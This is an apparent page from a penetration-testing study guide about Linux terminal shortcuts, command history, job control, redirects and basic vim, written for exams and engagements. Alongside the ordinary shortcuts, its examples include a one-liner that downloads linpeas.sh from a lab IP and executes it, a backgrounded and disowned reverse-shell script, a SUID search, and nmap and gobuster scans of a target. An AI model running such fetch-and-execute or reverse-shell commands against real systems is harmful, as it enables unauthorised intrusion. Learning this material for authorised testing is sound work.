Documentation Index
Fetch the complete documentation index at: https://hackbook.dudji.com/llms.txt
Use this file to discover all available pages before exploring further.
Terminal Shortcuts
Speed in the terminal is a skill. The less time you spend typing and correcting, the more time you spend thinking. These shortcuts become muscle memory fast — and they matter most when you’re under pressure.
Why This Matters
On an exam or a live engagement, you’re working fast. A missed character in a command, a frozen process you can’t exit, or a lost output because you didn’t redirect — these cost time. Knowing your terminal shortcuts cold removes friction from every action you take.
Auto-Complete
| Shortcut | Action |
|---|
Tab | Auto-complete command, filename, or path |
Tab Tab | Show all possible completions when ambiguous |
# Type partial command and hit Tab
cat /etc/pa[TAB] → /etc/passwd
sys[TAB][TAB] → systemctl systemd syslog ...
Cursor Movement
Move around a long command without the arrow key — faster and more precise.
| Shortcut | Action |
|---|
Ctrl + A | Jump to beginning of line |
Ctrl + E | Jump to end of line |
Ctrl + ← | Jump one word left |
Ctrl + → | Jump one word right |
Alt + B | Move backward one word |
Alt + F | Move forward one word |
Editing the Current Line
| Shortcut | Action |
|---|
Ctrl + U | Delete everything from cursor to beginning of line |
Ctrl + K | Delete everything from cursor to end of line |
Ctrl + W | Delete the word before the cursor |
Ctrl + Y | Paste the last deleted text (yank) |
Ctrl + _ | Undo last edit |
# Typed a long command with a mistake at the start?
# Ctrl+A to jump to beginning, then Ctrl+K to clear forward
# Or Ctrl+U to wipe the whole thing and start over
Command History
These save enormous time — stop retyping commands you’ve already run.
| Shortcut | Action |
|---|
↑ / ↓ | Step through previous / next commands |
Ctrl + R | Reverse search through history |
Ctrl + G | Cancel history search, return to prompt |
!! | Repeat the last command |
!<string> | Run the last command starting with <string> |
!$ | Last argument of the previous command |
# Ctrl+R — start typing to search backwards through history
(reverse-i-search)`find': find / -perm -4000 2>/dev/null
# !! — repeat last command (useful for adding sudo)
apt install nmap
sudo !! # → sudo apt install nmap
# !$ — reuse last argument
cat /etc/passwd
grep root !$ # → grep root /etc/passwd
# Show full command history
history
history | grep "find\|ssh\|curl" # Search history
Process Control
| Shortcut | Action |
|---|
Ctrl + C | Send SIGINT — interrupt / kill the current process |
Ctrl + Z | Send SIGTSTP — suspend process to background |
Ctrl + D | Send EOF — close STDIN / exit current shell |
# Running a scan that's taking too long?
Ctrl+Z # suspend it
bg # resume it in the background
jobs # see all background jobs
fg 1 # bring job 1 back to foreground
# Stuck in a program with no quit option?
Ctrl+C # interrupt it
# Exit a shell or close a pipe
Ctrl+D
Screen & Terminal
| Shortcut | Action |
|---|
Ctrl + L | Clear the terminal screen (same as clear) |
Ctrl + + | Zoom in |
Ctrl + - | Zoom out |
Alt + Tab | Switch between open applications |
Working With Multiple Commands
# Run commands sequentially regardless of success/failure
cmd1 ; cmd2 ; cmd3
# Run next command ONLY if previous succeeded (exit code 0)
cmd1 && cmd2 && cmd3
# Run next command ONLY if previous failed
cmd1 || cmd2
# Run in background, continue immediately
./long_scan.sh &
# Chain background jobs
nmap -sC -sV 10.10.10.5 & ; gobuster dir -u http://10.10.10.5 -w /usr/share/wordlists/dirb/common.txt &
Useful Shell Tricks
# Run a command as root without switching user
sudo !!
# Quickly edit a long command in your default editor
Ctrl+X Ctrl+E # Opens current command in $EDITOR
# Repeat a command every N seconds
watch -n 2 "ss -tuln" # Refresh listening ports every 2s
watch -n 5 "ps aux | grep python"
# Time a command
time nmap -sC -sV 10.10.10.5
# Run multiple commands in a subshell
(cd /tmp && wget http://10.10.14.1/linpeas.sh && chmod +x linpeas.sh && ./linpeas.sh)
# Disown a background process (keeps running after you close the terminal)
./revshell.sh &
disown
Redirects & Pipes Quick Reference
cmd > file # STDOUT to file (overwrite)
cmd >> file # STDOUT to file (append)
cmd 2>/dev/null # Discard STDERR
cmd 2>&1 # Redirect STDERR to STDOUT
cmd &>/dev/null # Discard ALL output
cmd1 | cmd2 # Pipe STDOUT of cmd1 to cmd2
cmd < file # Feed file as STDIN to cmd
cmd << EOF # Here-document — inline STDIN until EOF
Vim Essentials
You’ll land on boxes where vim is the only editor available. Know enough to survive.
| Command | Action |
|---|
i | Enter insert mode |
Esc | Return to normal mode |
:w | Save file |
:q | Quit |
:wq | Save and quit |
:q! | Quit without saving |
dd | Delete current line |
yy | Copy current line |
p | Paste below cursor |
/pattern | Search forward |
n | Next search result |
:%s/old/new/g | Find and replace all |
:set number | Show line numbers |
G | Jump to end of file |
gg | Jump to beginning of file |
# Open a file
vim /etc/crontab
# Quickly append a line to a file from vim
# Press G (go to end), o (new line below), type your content, Esc, :wq
Complete Shortcuts Reference
| Category | Shortcut | Action |
|---|
| Auto-complete | Tab | Complete command or path |
| Cursor | Ctrl+A | Beginning of line |
| Cursor | Ctrl+E | End of line |
| Cursor | Ctrl+←/→ | Jump word left/right |
| Edit | Ctrl+U | Delete to beginning |
| Edit | Ctrl+K | Delete to end |
| Edit | Ctrl+W | Delete previous word |
| Edit | Ctrl+Y | Paste deleted text |
| History | Ctrl+R | Search command history |
| History | ↑/↓ | Previous/next command |
| History | !! | Repeat last command |
| History | !$ | Last argument |
| Process | Ctrl+C | Kill current process |
| Process | Ctrl+Z | Suspend to background |
| Process | Ctrl+D | Close STDIN / exit shell |
| Screen | Ctrl+L | Clear terminal |
You’ve reached the end of the Linux chapter. Next stop: Linux Privilege Escalation — taking everything you’ve enumerated and turning it into root.